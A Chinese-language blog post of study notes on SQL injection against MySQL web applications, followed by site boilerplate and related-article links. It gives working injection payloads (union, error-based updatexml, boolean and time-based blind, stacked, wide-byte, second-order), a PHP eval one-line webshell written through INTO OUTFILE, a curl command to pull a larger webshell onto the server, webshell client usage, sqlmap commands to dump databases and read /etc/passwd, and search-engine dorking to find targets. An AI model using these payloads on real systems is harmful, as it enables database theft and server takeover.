sql注入学习

这篇具有很好参考价值的文章主要介绍了sql注入学习。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

一、查询漏洞
  1. 根据可控参数的不同,分为三种注入类型,数字型,字符型,搜索型

  1. 注释方式/**/,#,--,url编码为%27

  1. 还有get和post请求,其实完全一样,只是get请求参数在url中,post在请求正文里

二、数字型
  1. 试探

(1)输'引起报错,输注释符#、/**/、-- 没有出错,没有被转义,那就说明这是个明确的注入点

(2)输id=1 and 1=2无查询结果验证这是注入点

  1. 试探列的数量

1、联合查询union select

(1)union查询的前提是列数相等

(2)where id=-1 union select 1,2,3,4...from 表名

表名一般不会乱取,可以收集字典爆破

前面的列数可以试出来,union前后查询的列数要一样才会有结果,否则就是报错或者无查询结果

id=-1说明前面的内容不会被查询了

然后查询某个用户的所有内容其实不会全部显示在页面,所以后面union查询还可以看出查询显示出来的内容是在列表的哪一列

2、排序order by

(1)排序order by 1/2/3/4/5...,是按第几列的顺序排序,如果没有那一列就会报错或者无查询结果

(2)回显查询结果 id=-1 union select 1,2,3,4....

  1. 联合查询

1、在显示的数字位置上,可以替换对应的查询语句,database()(数据库名称),version()(数据库版本),user()(数据库的用户)

2、还可以查询数据表的内容,在有回显内容的数字位置用(select 列名 from 表名 limit 1)替代,前提知道列名还有表名

全部查询出来就是脱裤

3、concat,把一行里的查询内容拼在一起输出在回显位置

(select concat(列名,'==',列名,‘==’,列名.....) from 表名 limit 1)

4、information_schema,其实所有数据库名称,表名,列名都放在information_schema这个数据库里的

(1)例如从information_schema数据库中的tables表查询数据库test的所有表名

goup_concat,就是将一列的内容拼到一行输出,自动以逗号分隔

(select group_concat(table_name) from information_schema.tables where table_schema='test' )

(2) 从information_schema数据库中的columns表查询数据库test里user表的的所有字段名:

(select group_concat(column_name) from information_schema.columns where table_schema='test' and table_name=user)

(3)浏览所有的数据库

(select group_concat(distinct(table_schema)) from imformation_schema.tables)

(select group_concat(schema_name) from imformation_schema.schemata)也可以

如果发现phpmyadmin数据库,可以直接访问/phpmyadmin,如果认证方式是config直接进入后台,如果是http,则可以爆破进入,最好不要开启phpmyadmin,或者需要时才远程管理(找找其他后台有没有远程管理)

\xampp\apache\conf\extrahttpd-xampp.conf中配置文件是require local就是只允许本地,#Require all granted允许所有,所以要注释掉

Alias /phpmyadmin "D:/xampp/phpMyAdmin/"
<Directory "D:/xampp/phpMyAdmin">
    AllowOverride AuthConfig
    Require local
    #Require all granted
    ErrorDocument 403 /error/XAMPP_FORBIDDEN.html.var
</Directory>

\xampp\phpMyAdmin\config.inc.php 里的 $cfg'Servers'['auth_type'] = 'config'; 这样是可以直接远程访问访问的,改成http是需要用户名密码远程访问的

猥琐的解决方法,将用户名设的非常复杂,很难爆破出来

5、直接把数据库的用户名,密码查出来,更省事儿了,直接数据导出来了

(select concat(User,'==',Password) from mysql.user limit 1/2/3/4......,1) )

6、进阶的用法

(1)concat_ws指定分隔符 ,联合group_concat可以一次性整张表查出来

concat_ws('分隔符',列名,.....) limit 0,1 ,还可以外面套group_concat就可以整张表查出来group_concat(concat_ws('分隔符',列名,.....))

  1. 单引号及一些符号被转义,需要用16进制代替单引号

如果前端获取的数据后端php用addslashes函数将数据中的单引号之类的都给转义了

数据库有个函数hex(单引号中的数据),转成16进制后,在查询语句中将有引号的字符用16进制形式代替,去掉引号

三、字符型
  1. 试探

(1)字符型注入的核心是拼接和闭合,因为数字型外面是没有引号的,但是字符型有,所有需要把那个引号闭合,去掉,再拼接新的sql语句

(2)跟数字型一样的,就是多了个闭合的环节

  1. 试探列的数量

where id='-1' union select 1,2,3,4... # ' ', #转成url编码,或者用--+,1' union select 1,2,3,4... # '是注入内容

  1. 查询,和上面完全一样,除了引号需要闭合

四、搜索型

where 列名 like '%字符%' union select 1,2,3,4... # ' ' , %字符%' union select 1,2,3,4... # ' 是注入内容

以上都是mysql的数据库,oracle或sqlserver语法可能有些区别

五、我自己试探sql注入点的过程
  1. 输入' 报错则有注入点

  1. 输1 and 1=1 有结果 但是 1 and 1=2没结果但也没有出错,说明是数字型,字符型这样查是没结果的,但是也不会报错

  1. 输入1' and 1=1 #' 有结果,输入1' and 1=2 #'无结果但也没报错,说明是字符型

六、查询漏洞的利用
  1. 利用sql语句读取文件,或者写入文件

1、确认读取权限

show global variables like "%secure%";查看结果

secure_file_priv 这个为空说明读写任意,为null表示不能读写,=某个路径说明只可以读写那个路径的文件

2、读取文件

回显位置用load_file("D:\xampp\htdocs\learn\new_login\common.php")替代,这个地址可能是之前暴露出来的敏感信息中的路径, 但是不会知道有common.php这个文件,所以需要收集字典遍历,不清楚路径也是可以收集服务器的路径字典遍历的,暴力破解

3、写文件,写入木马

(1)写文件

select 1,2,3 ,“ 写入内容” ,5...... into outfile "写入路径/文件.php(这个文件如果本来没有是会自动创建的)"

遍历路径字典写入,可能无法写入文件也不会报错,那就写一次访问一下,直到找到写入内容,也就找到可写入路径,很多路径是没有写入权限的,所以需要遍历找出来,而且写一定要写到站点下我们才可以访问

(2)写木马

将写入内容换成一句话木马,“<?php @eval($_GET['a'];)?>”

eval()会将字符串当做代码来执行

这个木马意思是先取得参数a的值,然后a的值会被当做代码执行,如果用户能将这段有效代码传入后台,那么可以执行任意代码和指令

a=phpinfo();用来探测,a=system('指令');

( 3)php大马

大马特别大,是个完整的应用程序,那就先传一个小马,然后用下马下载大马

先小马:写入内容换成 “<?php @eval($_GET['a'];)?>”,访问url?a=system("curl http://xxx//xxx//xxx.php")

  1. 菜刀的使用

输入已经建立好的小马的url还有参数,是post请求,菜刀就是我们已经传入小马之后帮助我们操作的,辅助工具

菜刀的整个传输过程是明文,现在已经被waf进行防护了

  1. 冰蝎的使用

1、冰蝎的小马是可以将通信加解密的shell脚本,可以绕过waf

2、注入方法

(1)先注入一个小马,用菜刀帮助注入冰蝎的shell文件

(2)直接把冰蝎这个小马一行一行注入

(3)注入常规小马,再用系统命令远程下载shell文件

a=system(curl url > 路径/文件)

(4)如果目标站点存在文件上传漏洞,直接上传shell

  1. 找一个有sql注入漏洞的网站,关键词搜索引擎语法,谷歌百度hack

整个注入过程

1、试探是否有注入点并判断注入类型

2、试探列数,用union或者order by

3、试探出回显点,用union

4、在回显点位置确认读取权限

5、在回显点随意读取,大部分路径、文件应该都是可读的

6、在回显点找到可以写入文件的路径,用字典爆破,或者之前就找到敏感路径了

7、找到可写入路径后就可以写入小马,进行随意操作

七、报错注入
  1. union注入不适用的地方

1、注入语句无法截断,且不清楚完整sql查询语句

2、页面不能返回查询信息

3、web页面有两个查询语句,查询语句数列不同

  1. 数据库里储存xml格式的数据

储存:将xml数据直接放在数据库某个表的一栏里,有列名

xml数据例如:

<classid=one>
​
   <studentsequence='1'>
​
•     <name>li</name>
​
•     <sex>女</sex>
​
  </student>
​
  <studentsequence='2'>
​
•     <name>ha</name>
​
•     <sex>男</sex>
​
  </student>
​
</class>

xpath的格式类似://student[@sequence='2']/name

查询:查询select extractvalue(列名,‘xpath’) from 表名

更新:update 表名 set 列名=updatexml(列名,‘xpath’,"<name>sd</name>"(要修改的内容))

  1. 常用报错注入payload

1、updatexml

payload :1 and updatexml(1,concat(0x7e,user(),0x7e),1)

0x7e是~

原理就是xpath不正确会报错,但是还是会执行更新内容里的语句

user()可以换成任何想查询的内容,例如database(),(select ......),算是一个回显点

2、extractvalue

payload:1 and extactvalue(1,concat(0x7e,user(),0x7e)

跟上面报错是一样的都是利用xpath报错

3、floor报错

1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

八、盲注

就不能使用union注入,也不能使用报错注入,盲注简单来说就是用于没有回显的地方

  1. boolean型盲注

页面只有两种结果,成功显示,没成功啥也不显示,只知道注入成没成功

盲注有时候需要一个字符一个字符去猜,例如查database()

length()返回查询字段长度

mid(column_name,start,length);截取字符串

substr(string,start,length);截取字符串

left(string,n);截取左边几个字符串

ORD():返回字符串的ascii码

ASCII();返回字符串的ascii码

payload:1 and length(database())</7/6/5 就试,试出database()的字符长度

1 and substr(database(),start,长度)=‘a/b/c...’ --+用burp暴力猜解,猜对会有结果显示,猜错无结果

显示

1 and(select substr(database(),start,长度)=‘a/b/c...’)构造更复杂的sql语句

  1. 时间型盲注

在无法进行bool型盲注的时候,就是界面什么结果都不会返回,就可以试试时间型,就判断一个东西,正确了也不用输出结果了,就休眠几秒,这样就能判断出是否注入正确

还是先判断查询内容的长度,然后再猜解字符串,这个和bool型的区别就是时间型用休眠时间猜解长度,猜解字符,bool型用是否有返回结果猜解、

payload:1 and if(length(database())=5/6/7/...,sleep(3),1),用休眠时间猜解查询内容长度

      1 and if(substr(database(),start,长度)=‘a/b/c...’,sleep(3),1)用休眠时间猜解查询字符

如果把哪些要查询内容的函数都给屏蔽了,那就没办法了,盲注也没有

九、sqlmap的使用

sqlmap可以完成注入点的发现,数据库的确认,webshell权限和路径的确认,脱裤等一系列操作,测试的payload分5级:-- level 1/2/3..

  1. 发现注入点

sqlmap -u url --cookie=" "

cookie 在f12的网络里找,注入点需要先登录,那就可以手工先登录,然后用相同cookie

  1. 查看所有数据库

sqlmap -u url --dbs

  1. 指定数据库类型会比较节省时间

sqlmap -u url --dbs --dbms=mysql

  1. 查看当前使用的数据库

sqlmap -u url --current-db

  1. 对正在使用的数据库进行查询表

sqlmap -u url --tables -D 数据库名

  1. 查出表后查对user所有列进行查询

sqlmap -u url --columns -T "数据库" -D “表名”

  1. 列名也知道了,直接脱裤

sqlmap -u url --dump -C "列名,列名..." -T "表名" -D "数据库名"

  1. 判断是否是dba,如果是就可以尝试上传shell

sqlmap -u url --dbs=mysql --is-dba

  1. 上传os-shell

1、sqlmap自动写入木马

sqlmap -u url --cookie=" " --dbms=mysql --os-shell

os-shell会进行三个步骤:猜测网络的绝对路径

尝试写入木马

获取到shell命令行

2、sqlmap写入失败后,我们可以手工读写文件

(1)读远程服务器文件

sqlmap -u url --cookie=" " --dbms=mysql --file-read "/etc?passwd"

(2)可以读那就可以写入

sqlmap -u url --cookie=" " --dbms=mysql --file-write 木马本地文件路径 --file-dest sqlmap找出的绝对路径(爆破实际可写入)

就可以使用python调用sqlmap的命令 (os.open("").read())进行盲猜,循环遍历目录字典,爆破写入,根据执行结果不同判断是否写入

--batch 参数可以直接一次性运行完sqlmap,没有需要交互

!!!以上是get请求的操作,如果是post,要先访问注入的url,然后burp抓包,把包copy to file储存起来

然后所有请求都是sqlmap -r 包储存路径 -p 指定注入参数 --cookie=" " --dbs()

十、更新类注入(属于报错类)

更新类注入只会返回bool型的结果,不会返回数据,无法像select一样进行多样化处理,核心是构建报错注入,payload都是闭合引号,构造有逻辑的符合语法规则的语句让数据库报错,不闭合数据库只会先报语法错误

insert into 表名(列名,列名...) values('值' or updatexml(1,concat(0x7e,database(),0x7e),1) or '','值',...)
payload:值' or updatexml(1,concat(0x7e,database(),0x7e),1) or '
update 表名 set 列名='值' or updatexml(1,concat(0x7e,database(),0x7e),1) or '' where 列名=‘值’ 
payload:值' or updatexml(1,concat(0x7e,database(),0x7e),1) or '
update 表名 set 列名='值' where 列名=‘值’ or updatexml(1,concat(0x7e,database(),0x7e),1)
payload:or updatexml(1,concat(0x7e,database(),0x7e),1)
十一、堆叠注入(前提是使用了multi_query函数或者方法,属于查询类)

就是在执行的语句中可以执行多条sql语句(批量一次性执行多条sql语句)

select * from 表名 where 列名=1;update 表名 set 列名='值' where 列名=1;
payload:1;update 表名 set 列名=值 where 列名=1(数字型)
select * from 表名 where 列名='1';update 表名 set 列名='值' where 列名=1;#''
payload:1';update 表名 set 列名='值' where 列名=1;#'
十二、二次注入(更新类)

就是注册时用户名用 例如ruo'# ,然后在修改密码的时候就可以把ruo的密码改掉

insert into user (username,passwd) values('ruo'#'',1111),#'被addslashes转义然后再到数据库就是普通字符
uodate user set passwd=2222 where username='ruo'#';
十三、宽字节注入(是gbk编码,查询类)

普通用单引号注入的时候,单引号会被addslashes转义添加反斜杠,但是gbk编码的时候反斜杠会变成%5c,和%bf一组合会变成另一个字符%bf%5c,从而吃掉反斜杠,这样单引号就不会被转义了,可以实现闭合单引号

比如:1%bf' union select 1,2,3--+

十四、url解码注入(会进行url解码)

用addslasnes将符号转义后还用urldecode,rawurldecode进行url解码,所有注入就得先将转义符吞掉,这个吞就利用url解码

(%27解码后是%,%25解码后是单引号),%2725有百分号就会解码,第一次解码后是%25,再解码是‘,源代码是urldecode(addslashes()),所以是先转义再解码,我们输%2725是不会被转义的

十五、代码注入

十六、命令注入

十七、奇淫巧技

十八、http头注入

这个就是更新类注入,一般头里的信息可能会被服务器端收集过去存入数据库,所以后台代码应该是insert into 数据....

所以注入的payload就是上面更新类payload导致报错,即文章来源地址https://www.toymoban.com/news/detail-772879.html

' or updatexml(1,concat(0x7e,database(),0x7e),1) or '

到了这里,关于sql注入学习的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • MSsql数据库 sql注入

    和mysql不同;每个数据库都有自己的信息总结表 四个系统数据库 master sysdatabases :所有数据库信息 name :所有数据库名 sysobjects :数据库所有对象的信息 syscolumns :字段信息 固定字段名 name 对象名 id 对象id xtype 对象类型代码 xtype=\\\'U\\\' 用户创建的表 xtype=\\\'S\\\' 系统表 model sysobjects sys

    2024年04月10日
    浏览(47)
  • 数据库DBMS并发控制

        串行调度 顾名思义 就是可以进行调度的意思  可串行调度 就是 一种和串行调度等价的并行调度 效果是一样但是速度很快。 postgresql事务隔离级别如何查看以及设置_postgresql查看事务隔离级别_abcwywht的博客-CSDN博客 mysql数据库事务隔离级别的查看、设置、以及隔离级别有

    2024年02月06日
    浏览(72)
  • 【实训04】数据库SQL注入漏洞

      下载dvwa的时候其实已经通过了,但建议全部做一下,后面的要用 git clone GitHub - digininja/DVWA: Damn Vulnerable Web Application (DVWA) 注入的sql: 使用sql注入查询数据库用户名和数据库名,并将用户名和数据库名写入/data/workspace/myshixun/result2中: 注入的sql语句: 使用sql注入查询dvwa数据库

    2024年02月16日
    浏览(41)
  • 【数据库系统】--【2】DBMS架构

    数据库系统的体系结构 数据库集群(一) 数据库集群(二) DBMS的运行架构 DBMS的数据架构 PostgreSQL的体系结构 处理DML语句 COMMIT处理 RMDB的运行架构 DBMS的层次结构 DBMS的开发架构 DBMS的代码架构 ● DBMS的系统架构 -软件架构的5视图 ● DBMS的物理架构 ● DBMS的运行和数据结构

    2024年02月12日
    浏览(42)
  • 【数据库】SQL注入从0到1

    目录 前言: 1.【入门】普通查询型注入: 1.0 实验环境: 1.1进行一次普通的查询: 1.2 进行注入得到用户信息: 1.2.1 执行注入: 1.2.2 注入语句分析: 1.3 整型注入与字符型注入区别: 2.【进阶】从库到列逐步注入: 2.1 预备知识: 2.1.1 union函数: 2.1.2 order by函数: 2.1.3 infor

    2024年02月05日
    浏览(50)
  • MySql学习2:SQL分类、数据库操作、表操作、数据的增删改查

    SQL分类: DDL:数据定义语言,用来定义数据库对象(数据库、表、字段) DML:数据操作语言,用来对数据库表中的数据进行增删改 DQL:数据库查询语言,用来查询数据库表中的记录 DCL:数据控制语言,用来创建数据库用户、控制数据库的访问权限 查询所有数据库 查询当前

    2024年02月11日
    浏览(52)
  • MySQL数据库增删改查及聚合查询SQL语句学习汇总

    目录 数据库增删改查SQL语句 MySQL数据库指令 1.查询数据库 2.创建数据库 3.删除数据库 4.选择数据库 创建表table   查看所有表 创建表 查看指定表的结构 删除表 数据库命令进行注释 增删改查(CRUD)详细说明 增加 SQL库提供了关于时间的函数:now()  查询 查询表作列与列之间进

    2024年02月09日
    浏览(81)
  • 【网络安全---sql注入(2)】如何通过SQL注入getshell?如何通过SQL注入读取文件或者数据库数据?一篇文章告诉你过程和原理。

    分享一个非常详细的网络安全笔记,是我学习网安过程中用心写的,可以点开以下链接获取: 超详细的网络安全笔记 本篇博客主要是通过piakchu靶场来讲解如何通过SQL注入漏洞来写入文件,读取文件。通过SQL输入来注入木马来getshell等,讲解了比较详细的过程; 如果想要学习

    2024年02月07日
    浏览(51)
  • 渗透测试-SQL注入之核心语法获取数据库信息

    SQL实验室第一关 下载sqli-labs到phpstudy的www目录下 打开localhost/sqli-labs运行即可 (1)注入语句 ‘~’ 相当于16进制的0x7e 万能密码 \\\'or ‘1’ =\\\'1 ’ and ‘1’=‘1 ’ and 1=2 union select 1,user(),3- -+ 前面加’是为了闭合后面的’ (2)group_concat(string) (1)SQL手工注入方法 select schema_name

    2024年02月10日
    浏览(38)
  • 确保你的数据库安全:如何防止SQL注入攻击

    最近,越来越多的组织和公司受到SQL注入攻击的困扰。这种攻击可以导致数据库中的敏感信息泄露,破坏数据完整性,甚至可能导致整个系统崩溃。如果您是一名数据库管理员或网站管理员,您需要了解如何保护您的数据库免受SQL注入攻击的威胁。在本文中,小德将介绍什么

    2024年02月02日
    浏览(53)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包